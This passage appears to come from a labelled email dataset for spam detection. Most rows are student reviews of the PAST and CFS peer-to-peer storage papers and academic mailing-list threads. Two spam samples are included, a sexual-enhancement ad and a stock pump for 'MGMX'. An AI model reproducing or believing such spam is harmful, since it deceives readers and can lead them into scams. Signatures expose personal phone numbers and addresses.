for pull scenarios may be possible, but is not immediately evident. PAST PAST is a p2p distributed filesystem using Pastry routing for the underlying overlay network. As a result, files are immutable, and are retrieved via a fileId which is generated upon insertion into the network. PAST provides the insert, lookup, and reclaim primitives leveraging the underlying Pastry network. When a file is inserted into the network, the desired number of replicas is specified, and the file is replicated at the nodes with nodeId closest to the fileId in the Pastry identifier space. This is a lower limit on the number of replicas of that file maintained by the system. Additional cached copies may be automatically created and destroyed by the load balancing mechanism. When objects are inserted into PAST, a file certificate containing file metadata is created and signed with the client's private key. Nodes who store the file also generate signed receipts which they return to the inserting client. Storage quotas are enforced using smartcards with associated private/public key pairs, which are signed by the smartcard issuer. Load balancing is address in PAST by bending the rules of file and replica placement. Replicas are moved to other members of a Pastry leaf set or forwarded to other nodes using pointers, and fires are moved to other nodes by changing the salt used in creating fileId's. Nodes accept forwarded objects if the object does not occupy a significantly large portion of the nodes remaining free space. Reed- Solomon encoding encoding of data is suggested to decrease storage requirements. Nodes in PAST use their unused disk space for file caching. GreedyDual-Size policy is used for determining which objects should remain cached. Simulation shows the system to be effective in high storage utilization situations of 95% and above. The system benefits from large node leaf set degree, as there is more opportunity for local load balancing. PAST has a number of limitations, one of which is the requirement of smartcards issued to each node, to some extent introducing a central authority into the PAST scheme. Another is that if the quantity of available network storage decreases, the system will fail to maintain the requested number of copies per file. This is of course unavoidable, however there is no mechanism given to achieve this gracefully (e.g. if total storage decreases by 20%, each file will be replicated 20% less). It also un-structures the underlying Pastry network in the name of load balancing, making the network more susceptible to Sybil and Eclipse attacks. There is also no mechanism to ensure that nodes actually maintain the file replicas they claim to store. CFS The Cooperative File System (CFS) is similar to PAST in the service it provides; a p2p distributed filesystem for immutable files. It differs from PAST primarily in that CFS distributes blocks across nodes in the network, as where PAST distributes whole files. The creators of CFS also assume that storage space is abundant, and that it is not expected to utilize nearly 100% of the global storage space. CFS makes use of DHash and Chord as underlying components. The root block of a file is identified by a public key and signed by the corresponding private key. Other blocks are identified by hashes of their contents. This allows a client to verify the integrity of a retrieved file. All files in the system have a finite lifetime after which they are automatically discarded. The publisher of a file can, however, as for lifetime extensions for files. CFS, like PAST uses disk quotas to prevent nodes from using an unfair amount of resources. As in PAST, replicas are stored on the k-successors of a chord node, and caching of blocks occurs on the paths of incoming file requests. Virtual servers are used on machines with very large resources to improve load balancing. Simulation of the system showed that when multiple blocks are requested in parallel, and proximital server selection is used, file transfer speeds are on par with ftp transfers between nodes who are part of the CFS network. Unfortunately the authors of CFS provide little information with regard to the appropriate block size for a deployed system. 8Kb is used for their simulations, however the number of nodes in their testbed was small, so it is unconvincing whether or not this block size is generally applicable. CFS's block level storage results in much more natural load balancing that PAST. However, given the resulting increase in overhead in retrieving a file, it is difficult to compare this overhead with that generated by the additional load balancing measures implemented in PAST. The block level granularity does however make it more difficult for an attacker to destroy a whole file. ",0,0 ,,,Re: [Cmaptools] Re: video tutorials for Cmaptools,"Hello Alfredo I've seen your tutorial video clips about CmapTools. Great ! I'm now teaching CmapTools in Cambodia and those clips would be helpful. Unfortunatly the internet connections are very poor and very expansive for Cambodians. Is there anyway to download your video clips ? Thank you very much Jean-Yves FUSIL, Phnom Penh ----- Original Message ----- From: Alfredo Tifi To: CmapTools Discussion List Sent: Thursday, March 02, 2006 10:59 AM Subject: [Cmaptools] Re: video tutorials for Cmaptools Hi Rodney, Epifanio, everyone in WWMAPS support pages http://www.2wmaps.com/public/base_cmaptools.htm#Videoclisp_eng we are publishing a similar collection of videos (six of ten ready by now) These are only the basics to asynchronous collaboration with CmapTools, because the synchronous one is still uncommon in our collaboration project. These videos are made with ""captivate"" in italian, spanish and english, but they have no audio. A member of our community from Lima was interested to collaborate among his and other students of medicine from other countries, sharing concept maps. I could try to re-contact him if you are interested, or help you to find other potential partners for such collaboration. regards Alfredo 2006/2/28, rodney tamblyn : To unsubscribe, E-mail to: ----------------------------------- Hi everyone, I am thinking of making some screen video tutorials for Cmaptools to assist graduate medical students getting started with mapping. I'd like to cover the basics of concept mapping, sharing maps through places, and some advanced topics like collaborating on maps. I would be interested in suggestions from the group as to the areas that should be covered. Comments from educators with experience in teaching concept mapping would be greatly appreciated. The videos will have audio, so the text that accompanies the tutorials will provide an opportunity not only to highlight how to use the software features, but provide some basic starting points for building effective maps. I have some experience using Camtasia studio for making maps (on PC) and SnapZ Pro (OSX), and I think these approaches will prove an effective way for creating the tutorials. You can see some examples under video tutorials at http://oceanbrowser.com/support/index.html One approach might be to make a tutorial video map, where each concept has an attached audio or video commentary. Ideas, suggestions or comments from the group would be appreciated. If anyone would be interested in collaborating on this, email me off list. Regards, Rodney -- Rodney Tamblyn OceanBrowser Ltd 44 Melville Street, Dunedin 9001 New Zealand Freevoip: 6838608 Tel: +64-3-4778606 http://oceanbrowser.com ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to Send administrative queries to -- Alfredo Tifi Via Ancona, 64 62100 - Macerata Italy 338 6324518 +39 0733 239354 c/o Istituto Tecnico Industriale Statale ""Eustachio Divini"" San Severino Marche - 62027 Italy www.2wmaps.com",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Mar 2006 22:02:12 -0700",[DMDX] Re: USB PIO under XP,"At 08:13 PM 3/6/2006 -0500, you wrote: >Jonathan, > >I've been having trouble running item files using the USB PIO24 >outputs under XP. When I switched to Windows 98, the file ran much >better (i.e. running it didn't cause the machine to lock up). Do you >have any idea why this may have occurred? The usual, shoddy drivers. You might be able to get new ones or alternatively try the QPIO12 device instead of PIO12 or if you're only using output try PIO12output24. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What's the definition of a will? It's a dead giveaway. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Mar 2006 22:03:54 -0700",[DMDX] Re: Special characters again," You can send me an item file if you want and assuming it's a normal Arial Font I can see if I can replicate the problem here. At 11:34 AM 3/7/2006 +1100, you wrote: >Dear all, > >I realised that the script I sent wasn't very helpful. Here's the problem >in words. > >I have an rt file in which i ask for a series of special characters from >Arial Unicode to be presented instead of normal fonts. They show up in >word and in wordpad, but then many of them become ???? in the task >itself. The character set is there to be drawn upon, but for some reason >DMDX can't do it. > >Does anybody have any clues as to how to fix this? This will save me many >hours, as one alternative is to make them into image files and call them >up in this form. I'm having trouble making the timing work with a test >run of this anyway. > >Virginia Holmes > > > >A. Prof. V. M. Holmes >Department of Psychology >University of Melbourne >Parkville, Vic, 3010, Australia > >phone: 61 3 8344 6368 >facs: 61 3 9347 6618 >Staff website: psych.unimelb.edu.au/people/staff/HolmesV.html >Laboratory >website: psych.unimelb.edu.au/research/psycholinguistics/index.html /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What's the definition of a will? It's a dead giveaway. ",0,0 jqwhe ,DMDX@psy1.psych.arizona.edu,,Don�t be afraid to buy our Penis Enlarge Patch.,Do y0u want to experience rock-hard erect10n$? Try Peni$ Enl@rge Patch. http://www.rageza.net/pt/?51&8vGT0V,1,1 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Mon, 06 Mar 2006 23:28:12 -0500",PAPER 12,"* Load balance can't be guaranteed in PAST. Although a caching scheme is proposed to balance the query load for popular files, (1) it is infeasible to cache large files; (2) caches begin to replace files as the storage utilization increases, so the cache hit ratio drops. * The overhead of data migration is quite large if nodes join and leave system frequently (or said, the k numerically closest nodes change frequently). According to the migration scheme given in the section of 'Maintaining replicas', when a node joins and becomes one of the k numerically closest nodes, a pointer pointing to it is installed and then the file is transferred to it in the background. Imagine that it soon leaves the system. The file has to be transferred to another node again. If nodes joins and leaves frequently, the cost to transfer the file among the nodes is high. * While allowing parallel blocks access to improve performance, CFS requires a lot of messages to locate a file, especially when the file size is very large. The granularity of block sizes should be well designed to fit the file sizes. * Server selection (concerning latency) is supported in CFS by including the function find_predecessor() in Chord protocol. As the latencies are measured at the predecessor, people may doubt if they exactly reflect the latencies from the client to those nodes. * PAST is a peer-to-peer storage utility layered on top of Pastry. This paper presents and evaluates (1) storage management and (2) caching in PAST. * Three operations: Insert, Lookup, and Reclaim are provided by PAST. Each file, along with its file certificate, is stored at k nodes. This is confirmed by the store receipts returned by these nodes. The required storage is debited against the file owner's quota. When a lookup request is issued, it is routed until the closest node storing that file responds. The file owner can also issue a reclaim certificate and check the credit against quota upon receiving the reclaim receipts. * The primary goal of storage management is to allow high global storage utilization and gracefully degradation as the system approaches its maximal utilization. Generally, a file is stored at the k numerically closest nodes, but load imbalance may occur due to different size of each file and different storage capacity of each node. * The 'replica diversion' is therefore proposed to balance the remaining free storage space among nodes in the system: if one of the k nodes can't accommodate the file, it chooses a node form its leaf set to store the file instead and keeps a pointer to that node. The 'replica diversion' is also necessary for maintenance of the invariant that each file is stored at k nodes. To accept a replica or to divert it depends on policies based on a metric SD/FN, where SD is the size of a file and FN is the free storage space of a node. * File diversion: if the root node of the file can't accommodate the file, a negative acknowledgement is returned to the client. The client has to generate another node ID (with another salt). If the same situation occurs three times, the owner has to consider splitting the file to smaller sizes. * The primary goal of caching is to minimize client access latencies, to maximize query throughput and to balance query load in the system. Nodes may use unused portion of their storage space to cache files. Cache copies may be discarded when necessary (to store a new replica, for example). GreedyDual-Size policy is used here for cache replacement. * CFS is a peer-to-peer ready-only block-oriented storage system. It is structured as a collection of servers that provide block-level storage. The file system semantics can be layered on top of this block store. * CFS consists of two layers: The Chord layer maintains the routing table to locate blocks. The DHash layer is responsible for storing keyed blocks and maintaining replications and caching of them. * CFS stores data for an agree-upon interval; servers may discard data whose guaranteed period has expired. This prevents, to some degree, malicious behaviors of keeping inserting data, since they are automatically deleted when attackers stop refreshing them. * DHash places a block's replicas at the k servers immediately after the block's successor. Blocks are cached along the lookup path and replaced in least-recently-used order. * Multiple virtual servers may be run on a physical server, for load balance, in proportion to the server's storage and network bandwidth. Virtual servers can take short-cut through each other's routing table to compensate for the increased number of hops (resulting from the increased number of servers) in the lookup. * The experimental results show that the pre-fetch scheme improves the performance depending on the pre-fetch window size for different cases. To decide the right size is a future research. Besides, a keyword search engine is under development for CFS.",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Mon, 06 Mar 2006 23:58:11 -0500",PAPER 12,"Niranjan Sivakumar Storage Management and Caching in PAST, a Large-Scale Persistent Peer-to-Peer Storage Utility Wide-Area Cooperative Storage with CFS PAST is an implementation of a peer-to-peer file storage system that runs on top of Pastry. PAST offers relatively simple functionality, with three basic operations: insert, lookup, and reclaim. Past allows for users to request a certain amount of replication in the system, and will replicate the object on nodes with close nodeID's to the 128 most significant bits of the fileID. The system relies on the natural variation that will be expected in nodes that are adjacent to one another in Pastry to ensure some robustness in its replication. The system also allows for some further, more informal caching (not guaranteed) to further alleviate load imbalances. The authors present a basic security mechanism that is based on public key cryptography facilitated by smartcards that are signed by a trusted authority. There is also a replica diversion mechanism in order for burdened nodes to pass on requests to nodes in their leaf sets. CFS is another file storage system running on a distributed hash table, in this case DHash (a variant of Chord.) The system is similar to PAST in many ways, but as the authors point out, the main difference between the two systems is that Pastry considers files as single objects whereas CFS splits files up into blocks, somewhat like a conventional file system. CFS has a similar replication scheme to PAST, placing block replicas on some specified number of servers in the locality where the file's ID falls. CFS uses DHash's caching system to provide further replication by caching blocks at nodes that are traversed en route to the desired data. Also, CFS refers to the security system outlined in PAST as something that could be leveraged to implement a quota system. While both of these implementations are somewhat novel approaches for the application of p2p networks, neither seems to provide a compelling reason to use the system. Both of the papers seem to indicate that the systems could be useful if future research into adding more features to their respective DHT layers are fruitful, but as it stands, they are quite simple. The security system that is proposed is centralized, and as seen with other systems, this seems to be somewhat against the distributed natures of the systems themselves. The PAST paper appears to almost discount the possibility of malicious nodes causing routing failures that would result in denial of service. In CFS, the idea of breaking files up into blocks is interesting, but it seems that finding the correct block size could be challenging and having a file split up into many pieces and having to perform many lookups on a Chord based network is not negligible. ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Tue, 07 Mar 2006 00:28:24 -0500",PAPER 12," Samsara: Samsara is a system for fair disk space exchange. The basic idea is that machine A is willing to store files for machine B, provided that machine B stores a ""claim"" on behalf of A. This claim can later be transferred, so that B is storing files on behalf of A, in effect. If users are unavailable, their stored data is removed, on a probabilistic basis designed to differentiate short outages from permanent cheating. The system is aimed to stop greedy users, not malicious ones. This is not necessarily a weakness, depending on the target user base. These scheme, to the extent that it works, works only for storage (permanent or RAM). It has a number of shortcomings. Much of the time, one might be willing to store on behalf of others more data than one wishes to store--some users are generous, particularly if the protocol is being used on a corporate or academic intranet. Samsara does nothing to support such flexible policies. PAST: PAST is a system for storing immutable files on top of a peer-to-peer substrate such as Pastry. Each file is replicated at the k nodes with IDs nearest the ID of the file. The file's ID is based on its hash, the hash of its inserter's public key, and a salt. In the event that these nodes (the ""replica set"") are unable to store the file, they first attempt to find a nearby node that can, and if that fails, alert the file owner, who will pick a different part of node-ID space. As a result, the system is able to robustly store files even in conditions of high utilization. PAST stores immutable files, and therefore if a file is altered, it must be deleted and then reinserted. If a file is deleted and a replica didn't get the reclaim request, there is no provision for it to find out later that the file can be removed. As a result, the PAST system may become clogged with files that should have been garbage-collected, with corresponding harm to user's quotas. A similar problem arises with nodes that leave the system permanently; there is no way for nodes with replicas to learn that they can remove those files. PAST relies on trusted hardware and software; if users have broken clients, the system's guarantees do not apply. CFS: CFS takes a quite different approach from PAST. Layered over Chord, CFS allows nodes to insert content into the network CFS uses a filesystem paradigm, where data consists of fixed-sized blocks, some of which are metadata specifying which blocks correspond to which files. This data is visible to others nodes as a read-only-filesystem. Data is deleted if not refreshed periodically, preventing storage from being consumed over time. CFS is a clean and elegant system, and the concept of building a block-structured filesystem atop a DHT is a good one. However, removing data blocks only through timeouts seems like a weakness; if the timeout period is too small, the data's owner will be constantly sending out refresh results. If the timeout is too large, then old data will pile up. CFS inherits all the weaknesses of the underlying DHT; in particular, malicious nodes can drop queries or data. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Tue, 07 Mar 2006 00:58:12 -0500",PAPER 12,"Andrew Cunningham arc39 _Storage_Management_and_Caching_in_PAST,_a_Large-Scale,_Persistend_Peer-to-Peer_Storage_Utility_ Antony Rowstron, Peter Druschel PAST, a large scale peer-to-peer system, allows persistent storage on a self-organizing, Internet-based overlay network of storage nodes cooperatively routing file queries, storing multiple replicas of files, and caching additional copies of popular files. The paper relies on Pastry for many of its qualities, and thus concentrates mostly on attempting to even the workload across the network through diverting replicas and files to locations of the address space removed from the standard key of the message. The trick used is that files may be stored, rather than at the location pointed to by the hash of the file name, at any node in the leaf set of the responsible node; to permit widening of horizons, the 'hack' of allowing the two edges of the leaf set to extend the query was permitted. While steps are taken to avoid malicious users, the strict limit imposed on who may host replicas seems out of place -- since we only allow two levels of indirection, and fix the size of the leaf set, this will not scale well. However, it places a strict limit on the number of additional hops that a message query will require, and is necessary for various other reasons. Moreover, the statement that if storage is unavailable close by, it is globally unavailable is valid under the security assumptions that this paper makes -- i.e., protocols designed to avoid simple byzantine failure -- but nevertheless easy to defeat by conspiring foes, who simply refuse to share ""enough"" resources. While IP addresses can be ""defended"" so that it is difficult to partition a legitimate user from the network, it remains the case that local free space need not necessarily be indicative of global free space, simply that it is similar with high probability and inefficient to make any stronger discovery. _Wide-Area_Cooperative_Storage_With_CFS_ Frank Dabek, M. Frans Kaashoek, David Karger, Robert Morris, Ion Stoica Providing a similar, though more limited service, than PAST, CFS is built on top of Chord to provide a distributed hash table mapping values to blocks. This allows a decentralized system whose clients may view the values as files. Due to the use of cryptographic techniques to ensure legitimacy of data, it is impossible for clients to alter data, though updates may be performed with access to the secret key used to insert the data. The system is bizarrely POSIX compliant, in that it simply stores directory nodes which point to inodes which point to blocks, but rather than referring to disk areas, they refer to locations in the underlying peer to peer network. Caches and copies of these data are replicated throughout the network, and the aforementioned cryptography allows the data to be verified. A difference between standard hard disks and CFS is that CFS allows blocks of data to time-out, and thus be removed from hosting. They simultaneously strengthen and weaken Chord, by permitting optimization of finger-tables, which permits tunneling attacks, but also specifying secure nodeID generation, which tends to slow down many attacks, making them less profitable. Perhaps most importantly, however, this system does not assume that storage space will be a scarce resource, and thus punts the problem of distributing the data (to the previous paper), assuming that it is not a problem if overworked nodes simply request that someone else do their work. This is perhaps the biggest problem, and one which PAST addresses; in many ways CFS is not a file system, despite how easily it can be made to serve as one. ",0,0 ,,,Re: [Cmaptools] Re: video tutorials for Cmaptools,"Dear Jean Yves You can freely download them by right clicking and chosing ""save object as..."", and you can collect .swf files in a CD or any other removable support to distribute. We hope to find time to complete the series! Keep an eye on these videos on www.2wmaps.com and don't forget IHMC audio-video on ftp://ftp.coginst.uwf.edu/acanas/ ! Wish to you and cambodians a great Concept Mapping Alf 2006/3/7, Jean-Yves : > > Hello Alfredo > I've seen your tutorial video clips about CmapTools. Great ! > I'm now teaching CmapTools in Cambodia and those clips would be helpful. > Unfortunatly the internet connections are very poor and very expansive for > Cambodians. Is there anyway to download your video clips ? > Thank you very much > Jean-Yves FUSIL, Phnom Penh > > ----- Original Message ----- > *From:* Alfredo Tifi > *To:* CmapTools Discussion List > *Sent:* Thursday, March 02, 2006 10:59 AM > *Subject:* [Cmaptools] Re: video tutorials for Cmaptools > > > Hi Rodney, Epifanio, everyone > in WWMAPS support pages > http://www.2wmaps.com/public/base_cmaptools.htm#Videoclisp_eng > we are publishing a similar collection of videos (six of ten ready by now) > These are only the basics to asynchronous collaboration with CmapTools, > because the synchronous one is still uncommon in our collaboration > project. > These videos are made with ""captivate"" in italian, spanish and english, > but they have no audio. > A member of our community from Lima was interested to collaborate among > his and other students of medicine from other countries, sharing concept > maps. I could try to re-contact him if you are interested, or help you to > find other potential partners for such collaboration. > > regards > > Alfredo > > > 2006/2/28, rodney tamblyn : > > > > To unsubscribe, E-mail to: > > ----------------------------------- > > Hi everyone, > > > > I am thinking of making some screen video tutorials for Cmaptools to > > assist graduate medical students getting started with mapping. I'd > > like to cover the basics of concept mapping, sharing maps through > > places, and some advanced topics like collaborating on maps. > > > > I would be interested in suggestions from the group as to the areas > > that should be covered. Comments from educators with experience in > > teaching concept mapping would be greatly appreciated. The videos > > will have audio, so the text that accompanies the tutorials will > > provide an opportunity not only to highlight how to use the software > > features, but provide some basic starting points for building > > effective maps. > > > > I have some experience using Camtasia studio for making maps (on PC) > > and SnapZ Pro (OSX), and I think these approaches will prove an > > effective way for creating the tutorials. You can see some examples > > under video tutorials at http://oceanbrowser.com/support/index.html > > > > One approach might be to make a tutorial video map, where each > > concept has an attached audio or video commentary. > > > > Ideas, suggestions or comments from the group would be appreciated. > > > > If anyone would be interested in collaborating on this, email me off > > list. > > > > Regards, > > > > Rodney > > -- > > Rodney Tamblyn > > OceanBrowser Ltd > > 44 Melville Street, Dunedin 9001 > > New Zealand > > Freevoip: 6838608 > > Tel: +64-3-4778606 > > http://oceanbrowser.com > > > > > > > > > > ############################################################# > > This message is sent to you because you are subscribed to the mailing > > list . > > To unsubscribe, E-mail to: > > To switch to the DIGEST mode, E-mail to > > Send administrative queries to > > > > > > -- > Alfredo Tifi > Via Ancona, 64 > 62100 - Macerata > Italy > 338 6324518 > +39 0733 239354 > c/o Istituto Tecnico Industriale Statale ""Eustachio Divini"" > San Severino Marche - 62027 Italy > www.2wmaps.com > > -- Alfredo Tifi Via Ancona, 64 62100 - Macerata Italy 338 6324518 +39 0733 239354 c/o Istituto Tecnico Industriale Statale ""Eustachio Divini"" San Severino Marche - 62027 Italy www.divini.net/alfredo",0,1 Elliott Darnell ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Mar 2006 04:38:54 -0100",April: did r0b inf0rm Susan ,"Why MGMX should be on your radar screen now! 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This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. ",1,0 """Ryan S. Peterson"" ",Gun Sirer ,"Tue, 07 Mar 2006 05:27:22 -0500",PAPER 12,"The first paper, by Rowstron and Druschel, presents PAST, a peer-to- peer storage management system. PAST provides users with an interface that enables them to insert, remove, and lookup files from a persistent distributed file system. The system is built on top of Pastry, which handles all the routing between nodes. The nodes are assumed to be normal desktop machines, probably owned by clients of the system. Consequently, nodes cannot be trusted in general since their owners could potentially remove or corrupt files that they hold. The authors brush this issue aside. The main contribution of PAST is its replica management. Users specify a parameter k when inserting an object, which is the number of machines the file should be replicated on. After Pastry routes the file to the appropriate home node, the node contacts k - 1 neighbors from its leaf set and sends the file to them for backup storage. As part of the replication protocol, if a node does not have enough free space to store a file, it selects a node in its leaf set or possibly a node in a different part of the Pastry ring to store the file. The original node then stores a pointer to the file on the other machine. As an added feature, nodes cache files if they have sufficient free space during lookups. The second paper, by Dabek et al., introduces another wide-area storage system, CFS. CFS, built on top of Chord, focuses primarily on robustness, providing experimental results that show that files are preserved even when as many as half of the nodes fail. Unlike PAST, CFS is read-only, meaning it does not allow users to insert objects. Instead, it follows something more like a publish-subscribe paradigm, whereby there are content providers who insert objects, and there are clients who download data from the system. Like PAST, much of CFS's complexity is in the load balancing techniques it employs. Ryan ",0,0 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Tue, 07 Mar 2006 07:30:12 -0600",office hours,"CS352-ers, I have a conflict and must move my office hours today: Old office hours: 11am-noon. New office hours: noon-1pm. Cheers, SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 07 Mar 2006 08:18:09 -0700",[DMDX] Re: special characters," Yeah, your file is using an RTF control word DMDX doesn't know, \\u. I'll see if I can't decipher how to use it but given that it looks like a unicode specific control word and DMDX is most specifically not a unicode aware application and any support it does have for it is strictly smoke and mirrors that Microsoft has built into the OS I don't hold much hope of getting it to work any time soon. That and I'm pretty busy for the next day or two... At 04:34 PM 3/7/2006 +1100, you wrote: >Hi Jonathan > >Thanks very much. The first few trials are Devangari and Bengali, later >ones are Cyrillic, etc, and a few other scripts. You find them when >making the rtf file in word by inserting special characters, and they are >in the arial unicode font. I need them for a symbol memory task that uses >letter-like symbols which are not already known to the participant. > >Virginia > > >A. Prof. V. M. Holmes >Department of Psychology >University of Melbourne >Parkville, Vic, 3010, Australia > >phone: 61 3 8344 6368 >facs: 61 3 9347 6618 >Staff website: psych.unimelb.edu.au/people/staff/HolmesV.html >Laboratory >website: psych.unimelb.edu.au/research/psycholinguistics/index.html > > > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What's the definition of a will? It's a dead giveaway. ",0,0 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Tue, 07 Mar 2006 12:00:05 -0500","Network Maintenance - Wednesday, 03/08/2006","Network Maintenance - Wednesday, 03/08/2006 ID: 1152 Description: Verizon Camden EPL Service Project - Alexander Library to Armitage Hall Disruption: Transparent Campus: Core Systems & Services Start Date: 03/08/2006 0700 End Date: 03/08/2006 0800 Summary: The vendor led maintenance is necessary to implement metro gigabit ethernet over sonet service between Camden, New Brunswick, Piscataway campuses. Intermittent outages are expected to occur during the window. Affected: cr02-alex-alex Type: Scheduled ---- ID: 1151 Description: Verizon Camden EPL Service Project - Hill Center to BSB Disruption: Transparent Campus: Core Systems & Services Start Date: 03/08/2006 0700 End Date: 03/08/2006 0800 Summary: The vendor led maintenance is necessary to implement metro gigabit ethernet over sonet service between Camden, New Brunswick, Piscataway campuses. No outages are expected to occur during the window. Affected: cr02-hill012-hill Type: Scheduled ---- ID: 1252 Description: Device Upgrades - College Hall Disruption: Outage Campus: Douglass Start Date: 03/08/2006 0700 End Date: 03/08/2006 0800 Summary: TD Network Operations will upgrade the ar01-ch-dlib device. No network connectivity will be available to networks uplinked through College Hall. Affected: ar01-ch-dlib Type: Scheduled ---- ID: 1253 Description: Device Upgrades - Waksman Institute Disruption: Outage Campus: Busch Start Date: 03/08/2006 0700 End Date: 03/08/2006 0800 Summary: TD Network Operations will upgrade the ar01-waks-lsm device. No network connectivity will be available to networks uplinked through Waksman Institute. Affected: ar01-ch-dlib Type: Scheduled ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ",0,1 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Tue, 07 Mar 2006 10:20:19 -0500",PAPER 12,"CFS provides a filesystem-like abstraction built upon a Chord ring. Specifically, CFS provides an insert and lookup mechanism to support block level storage and retrieval of files distributed over nodes on the Chord ring. Files must be fragmented into small blocks which are identified by the hash of their contents and signed by the owner's private key. The block level storage seeks to distributed both storage and query load by ensuring that all storage units are of approximately equal size and distributing logically related blocks uniformly throughout the ring to support parallel, distributed retrieval. The fact that blocks are identified by the hash of their content ensures that a named block cannot be replaced by faulty data. Deletes are not explicitly updated, instead CFS guarantees storage for blocks only for a fixed period of time. After this period expires nodes are free to discard the associated block. To ensure persistence, owners must request an extension for the storage. Additionally CFS implements passive LRU caching along query paths. This caching is distinguished from guaranteed replication of each block on the k nodes succeeding the original storage location (the node with nodeid closest to to the blockid in question). CFS also supports IP identified quotas where each node limits the amount of local storage which can be consumed by a given IP address to a fraction of some estimation of the total storage in the network. PAST also provides a filesystem-like abstraction built upon a Pastry ring. PAST also provides an insert/lookup for storage units. However PAST places no restrictions on the sizes of storage units (instead this choice could be layered on top of PAST to achieve the probabalistic load balancing properties which CFS hopes to achieve). A reclaim operation allows storing nodes to remove associated file replicas (subject to verification of the reclaim request through cryptographic signatures), but does not guarantee that such replicas are no longer available. Also, PAST storage units are identified not by a hash of their content, but by a potentially unrelated filename, salt and owner public key. The block content hash is additionally included and signed with the owner's private key to ensure a malicious node can't forge a copy with alternate content. PAST guarantees that k replicas are persistently stored in the network (at the k nodes with closest nodeid to the fileid) (constrained by available system space). In the face of varied node capacities and file sizes PAST introduces replica diversion and file diversion. Replica diversion allows one of the k nodes which should store a replica, A, to store instead a pointer to an alternate storage location at one of the nodes in A's leaf set. If replication diversion is not possible (because the chosen leaf node also cannot store the file), file diversion suggests that the file owner create a new fileid (by choosing a new salt value) so that the file may be stored at an entirely different location in the node ring. These two methods provide some measure of load balance (empirically verified). PAST also maintains the k replicas where possible (constrained by system wide storage capacity) in the face of node additions. When a new node joins it must semantically keep the replicas for which it is one of the k closest nodes. This is done by first having the new node store a pointer to all relevant copies and lazily copying the necessary data. This is similar to replica diversion. Node failures are handled as part of the Pastry node failure process. Both these systems provide filesystem-like abstractions and replication without providing all the services provided by a filesystem. It seems as if there may be fundamental properties of some of these services (such as delete) which cannot be expressed in such p2p systems, however, the characterization of these properties is not explored in either paper. Additionally, some important and simple features of a distributed file system are provided in one system but not explored in the other (such as parallel retrieval) and the implications of such features are not explored in depth. Additionally, both systems feature passive caching and vague arguments that such caching should be able to improve common access behaviors (such as system-wide or local non-uniform access distributions), but such arguments are not formalized and no model of such behaviors are provided. Samsarsa doesn't explicitly provide a filesystem abstraction, but supports symmetric storage exchange through claims which are uncompressible sequences of data created and validated by a storage node and stored by a storing node. Periodically a storage node B storing data for node A can validate that A still stores a claim for B. This claim may later be replaced by actual data from B as long as B still stores data for A. Samsara extends this notion to dependency chains where three or more nodes store data in a chain (A stores data on B who stores data on C), where there is only one claim (storage overhead) per chain at the root of the chain (so A stores a C's claim for B). If a claim fails a validation query, the node performing the query probabalistically ejects a storage block from the node failing the query. A might fail a validation query on B's claim, B might respond by ejecting A's storage block. While a simple system, there are several weaknesses. First if chains are avoided then the storage overhead for the system equals the amount of data stored in the system. Second, dependency chains are only as strong as the weakest link and a malicious or failed node in a dependency chain can trigger a cascading failure along the chain (in one direction). While the paper points out that dependency cycles are much more resilient to failures, in fact cycles are only resilient to one failure, after which they become a dependency chain. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 07 Mar 2006 10:40:29 -0700",[DMDX] Re: special characters," Yeah, not going to happen, sorry. The \\u and a number of other unicode control words were added to the RTF specification after or during DMDX's design and they're real unicode. It's interesting looking at your file because there are constructs like this: "" \\f2\\u20776?\\f1 \\f2\\'97\\'44\\f1 \\f2\\u20772?\\f1 "" It switches back to the 8 bit codes that DMDX can handle (\\'97\\'44) in the middle of two 16 bit codes (\\u20776 and \\u20772). I tried replacing \\u20776 with two 8 bit codes that would be binarily equivalent to it however that's not how unicode kludges work apparently. Word and Wordpad can display the characters because they are unicode applications (or at the very least unicode aware applications), DMDX isn't and won't be any time soon. At 08:18 AM 3/7/2006 -0700, you wrote: >Yeah, your file is using an RTF control word DMDX doesn't know, \\u. I'll >see if I can't decipher how to use it but given that it looks like a >unicode specific control word and DMDX is most specifically not a unicode >aware application and any support it does have for it is strictly smoke >and mirrors that Microsoft has built into the OS I don't hold much hope of >getting it to work any time soon. That and I'm pretty busy for the next >day or two... > >At 04:34 PM 3/7/2006 +1100, you wrote: >>Hi Jonathan >> >>Thanks very much. The first few trials are Devangari and Bengali, later >>ones are Cyrillic, etc, and a few other scripts. You find them when >>making the rtf file in word by inserting special characters, and they are >>in the arial unicode font. I need them for a symbol memory task that >>uses letter-like symbols which are not already known to the participant. >> >>Virginia >> >> >>A. Prof. V. M. Holmes >>Department of Psychology >>University of Melbourne >>Parkville, Vic, 3010, Australia >> 